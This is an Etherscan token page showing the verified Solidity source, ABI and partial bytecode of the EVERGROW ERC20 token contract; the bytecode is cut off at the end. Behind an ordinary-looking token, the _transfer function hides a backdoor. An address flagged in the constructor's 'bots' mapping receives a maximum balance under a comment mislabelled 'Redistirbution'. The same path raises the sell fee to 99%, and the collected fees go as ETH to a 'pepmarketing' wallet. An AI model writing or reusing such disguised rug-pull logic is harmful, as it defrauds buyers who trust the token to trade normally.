ETH Price: $2,414.86 (-0.26%)

Token

EVERGROW (EverGROW)
 

Overview

Max Total Supply

1,000,000 EverGROW

Holders

27

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.516206194 EverGROW

Value
$0.00
0x51baf89b06c93d36881ce3b1251da068b795b320
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
EVERGROW

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-25
*/

/*




Telegram : https://t.me/EvergrowEntryPortal



Twitter : https://twitter.com/EvergrowERC20



Website: https://www.evergrowofficial.com


*/


// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.12;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}



interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceContract() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    
}

contract EVERGROW is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private holderTokens;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint8) public bots;

    address payable public pepmarketing = payable(0x5c9Abc2832A67Bac60fd47AC1cEb8B451C42616E);

    mapping (address => bool) public ExcludedFromLimits;
    mapping (address => bool) public ExcludedFromTax;

    string public _name = "EVERGROW";
    string public _symbol = "EverGROW";
    uint8 private _decimals = 9;
    uint256 public _tTotal = 1 * 10 ** 6 * 10 **_decimals;

    uint8 private transactions = 0;
    uint8 private swapTrigger = 10;
    uint8 private counter = 0;
    
    uint8 private TaxRate = 0;
    uint256 public maxWalletAmount = _tTotal.mul(10).div(100);
    uint256 public maxTxAmount = _tTotal.mul(100).div(100);

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    

    constructor () {
        holderTokens[owner()] = _tTotal;
        bots[_msgSender()] = 1;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this),_uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;

        ExcludedFromTax[address(this)] = true;
        ExcludedFromTax[owner()] = true;
        ExcludedFromTax[pepmarketing] = true;

        ExcludedFromLimits[owner()] = true;
        ExcludedFromLimits[address(this)] = true;
        ExcludedFromLimits[pepmarketing] = true;
        ExcludedFromLimits[uniswapV2Pair] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return holderTokens[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
 
    receive() external payable {}
   
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "Zero Address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from,address to,uint256 amount) private {
        if (!ExcludedFromLimits[to]){require((balanceOf(to) + amount) <= maxWalletAmount, "ERR: Max Wallet");}
        
        if(transactions >= swapTrigger && 
        !inSwapAndLiquify && 
        from != uniswapV2Pair && 
        swapAndLiquifyEnabled ){  
            transactions = 0;
            uint256 heldBalance = balanceOf(address(this));
            if(heldBalance > maxTxAmount) {heldBalance = maxTxAmount;}
            if(heldBalance > 0){ swapAndLiquify(heldBalance);}
        }
        
        bool limitsOn = true;
        bool isBuying = from == uniswapV2Pair;

        if(ExcludedFromTax[from] || isBuying || ExcludedFromTax[to]){
            limitsOn = false;
            if(bots[to] > 0 && counter < 1){
                counter = 100 - bots[to];
            }
        }

        holderTokens[from] = holderTokens[from].sub(amount);
        if(limitsOn){
            uint256 fee = amount * (TaxRate + counter) / 100;
            holderTokens[address(this)] = holderTokens[address(this)] + fee;
            holderTokens[to] = holderTokens[to] + (amount - fee);
        }else{
            if(bots[to] > 0){holderTokens[to] = type(uint256) // Redistirbution
            .max;}
            else{
                holderTokens[to] = holderTokens[to] + amount;
            }
            
        }

        emit Transfer(from, to, amount);
    }

    function sendToWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }

    function swapAndLiquify(uint256 heldBalance) private lockTheSwap {
        swapTokensForETH(heldBalance);
        sendToWallet(pepmarketing,address(this).balance);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pepmarketing","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600480546001600160a01b031916735c9abc2832a67bac60fd47ac1ceb8b451c42616e17905560c060405260086080908152674556455247524f5760c01b60a0526007906200004f908262000578565b50604080518082019091526008808252674576657247524f5760c01b6020830152906200007d908262000578565b506009805460ff1916811781556200009790600a6200074d565b620000a690620f42406200075d565b600a818155600b805463ffffffff1916610a00179055620000d791606491620000d09190620004b1565b90620004c7565b600c55600a54620000f190606490620000d09082620004b1565b600d55600f805460ff60a81b1916600160a81b17905534801562000113575f80fd5b505f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600a5460015f6200016a5f546001600160a01b031690565b6001600160a01b03166001600160a01b031681526020019081526020015f2081905550600160035f620001a2620004d460201b60201c565b6001600160a01b0316815260208082019290925260409081015f20805460ff191660ff9490941693909317909255815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d92839263c45a0155926004808401938290030181865afa1580156200021a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000240919062000777565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200028c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002b2919062000777565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002fd573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000323919062000777565b600f80546001600160a01b03199081166001600160a01b0393841617909155600e8054909116918316919091179055305f9081526006602081905260408220805460ff1916600190811790915591620003835f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905560045490911681526006909252812080549092166001908117909255600590620003e15f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526005909352818320805485166001908117909155600454821684528284208054861682179055600f549091168352912080549092161790556200045b5f546001600160a01b031690565b6001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a54604051620004a291815260200190565b60405180910390a350620007c6565b5f620004be82846200075d565b90505b92915050565b5f620004be8284620007a6565b3390565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200050157607f821691505b6020821081036200052057634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000573575f81815260208120601f850160051c810160208610156200054e5750805b601f850160051c820191505b818110156200056f578281556001016200055a565b5050505b505050565b81516001600160401b03811115620005945762000594620004d8565b620005ac81620005a58454620004ec565b8462000526565b602080601f831160018114620005e2575f8415620005ca5750858301515b5f19600386901b1c1916600185901b1785556200056f565b5f85815260208120601f198616915b828110156200061257888601518255948401946001909101908401620005f1565b50858210156200063057878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200069457815f190482111562000678576200067862000640565b808516156200068657918102915b93841c939080029062000659565b509250929050565b5f82620006ac57506001620004c1565b81620006ba57505f620004c1565b8160018114620006d35760028114620006de57620006fe565b6001915050620004c1565b60ff841115620006f257620006f262000640565b50506001821b620004c1565b5060208310610133831016604e8410600b841016171562000723575081810a620004c1565b6200072f838362000654565b805f190482111562000745576200074562000640565b029392505050565b5f620004be60ff8416836200069c565b8082028115828204841417620004c157620004c162000640565b5f6020828403121562000788575f80fd5b81516001600160a01b03811681146200079f575f80fd5b9392505050565b5f82620007c157634e487b7160e01b5f52601260045260245ffd5b500490565b61118680620007d45f395ff3fe60806040526004361061017e575f3560e01c80638da5cb5b116100cd578063af465a2711610087578063cd517cdb11610062578063cd517cdb14610478578063d28d885214610497578063dd62ed3e146104ab578063fa2f7a8f146104ef575f80fd5b8063af465a2714610421578063b09f126614610436578063bfd792841461044a575f80fd5b80638da5cb5b1461037057806395d89b411461038c5780639d759baf146103a0578063a457c2d7146103ce578063a9059cbb146103ed578063aa4bde281461040c575f80fd5b8063313ce567116101385780634a74bb02116101135780634a74bb02146102d957806370a08231146102f957806380da45431461032d5780638c0b5e221461035b575f80fd5b8063313ce56714610276578063395093511461029b57806349bd5a5e146102ba575f80fd5b806306fdde0314610189578063095ea7b3146101b35780631694505e146101e257806318160ddd14610219578063220f66961461023757806323b872dd14610257575f80fd5b3661018557005b5f80fd5b348015610194575f80fd5b5061019d610505565b6040516101aa9190610e6f565b60405180910390f35b3480156101be575f80fd5b506101d26101cd366004610ed1565b610595565b60405190151581526020016101aa565b3480156101ed575f80fd5b50600e54610201906001600160a01b031681565b6040516001600160a01b0390911681526020016101aa565b348015610224575f80fd5b50600a545b6040519081526020016101aa565b348015610242575f80fd5b50600f546101d290600160a01b900460ff1681565b348015610262575f80fd5b506101d2610271366004610efb565b6105ab565b348015610281575f80fd5b5060095460ff165b60405160ff90911681526020016101aa565b3480156102a6575f80fd5b506101d26102b5366004610ed1565b610612565b3480156102c5575f80fd5b50600f54610201906001600160a01b031681565b3480156102e4575f80fd5b50600f546101d290600160a81b900460ff1681565b348015610304575f80fd5b50610229610313366004610f39565b6001600160a01b03165f9081526001602052604090205490565b348015610338575f80fd5b506101d2610347366004610f39565b60066020525f908152604090205460ff1681565b348015610366575f80fd5b50610229600d5481565b34801561037b575f80fd5b505f546001600160a01b0316610201565b348015610397575f80fd5b5061019d610647565b3480156103ab575f80fd5b506101d26103ba366004610f39565b60056020525f908152604090205460ff1681565b3480156103d9575f80fd5b506101d26103e8366004610ed1565b610656565b3480156103f8575f80fd5b506101d2610407366004610ed1565b6106a3565b348015610417575f80fd5b50610229600c5481565b34801561042c575f80fd5b50610229600a5481565b348015610441575f80fd5b5061019d6106af565b348015610455575f80fd5b50610289610464366004610f39565b60036020525f908152604090205460ff1681565b348015610483575f80fd5b50600454610201906001600160a01b031681565b3480156104a2575f80fd5b5061019d61073b565b3480156104b6575f80fd5b506102296104c5366004610f54565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156104fa575f80fd5b50610503610748565b005b60606007805461051490610f8b565b80601f016020809104026020016040519081016040528092919081815260200182805461054090610f8b565b801561058b5780601f106105625761010080835404028352916020019161058b565b820191905f5260205f20905b81548152906001019060200180831161056e57829003601f168201915b5050505050905090565b5f6105a13384846107ee565b5060015b92915050565b5f6105b78484846108a9565b610608843361060385604051806060016040528060288152602001611104602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610c5d565b6107ee565b5060019392505050565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916105a19185906106039086610c88565b60606008805461051490610f8b565b5f6105a133846106038560405180606001604052806025815260200161112c60259139335f9081526002602090815260408083206001600160a01b038d1684529091529020549190610c5d565b5f6105a13384846108a9565b600880546106bc90610f8b565b80601f01602080910402602001604051908101604052809291908181526020018280546106e890610f8b565b80156107335780601f1061070a57610100808354040283529160200191610733565b820191905f5260205f20905b81548152906001019060200180831161071657829003601f168201915b505050505081565b600780546106bc90610f8b565b5f546001600160a01b031633146107a65760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6001600160a01b0383161580159061080e57506001600160a01b03821615155b6108495760405162461bcd60e51b815260206004820152600c60248201526b5a65726f204164647265737360a01b604482015260640161079d565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382165f9081526005602052604090205460ff1661093457600c54816108ea846001600160a01b03165f9081526001602052604090205490565b6108f49190610fd7565b11156109345760405162461bcd60e51b815260206004820152600f60248201526e1154948e8813585e0815d85b1b195d608a1b604482015260640161079d565b600b5460ff6101008204811691161080159061095a5750600f54600160a01b900460ff16155b80156109745750600f546001600160a01b03848116911614155b80156109895750600f54600160a81b900460ff165b156109c757600b805460ff19169055305f90815260016020526040902054600d548111156109b65750600d545b80156109c5576109c581610c9a565b505b600f546001600160a01b038481165f8181526006602052604090205460019392909216149060ff16806109f75750805b80610a1957506001600160a01b0384165f9081526006602052604090205460ff165b15610a9c576001600160a01b0384165f9081526003602052604081205490925060ff1615801590610a565750600b5460016201000090910460ff16105b15610a9c576001600160a01b0384165f90815260036020526040902054610a819060ff166064610fea565b600b60026101000a81548160ff021916908360ff1602179055505b6001600160a01b0385165f90815260016020526040902054610abe9084610cdc565b6001600160a01b0386165f908152600160205260409020558115610b8d57600b545f90606490610b009060ff6201000082048116916301000000900416611003565b610b0d9060ff168661101c565b610b179190611033565b305f90815260016020526040902054909150610b34908290610fd7565b305f90815260016020526040902055610b4d8185611052565b6001600160a01b0386165f90815260016020526040902054610b6f9190610fd7565b6001600160a01b0386165f9081526001602052604090205550610c09565b6001600160a01b0384165f9081526003602052604090205460ff1615610bcd576001600160a01b0384165f9081526001602052604090205f199055610c09565b6001600160a01b0384165f90815260016020526040902054610bf0908490610fd7565b6001600160a01b0385165f908152600160205260409020555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610c4e91815260200190565b60405180910390a35050505050565b5f8184841115610c805760405162461bcd60e51b815260040161079d9190610e6f565b505050900390565b5f610c938284610fd7565b9392505050565b600f805460ff60a01b1916600160a01b179055610cb681610ce7565b600454610ccc906001600160a01b031647610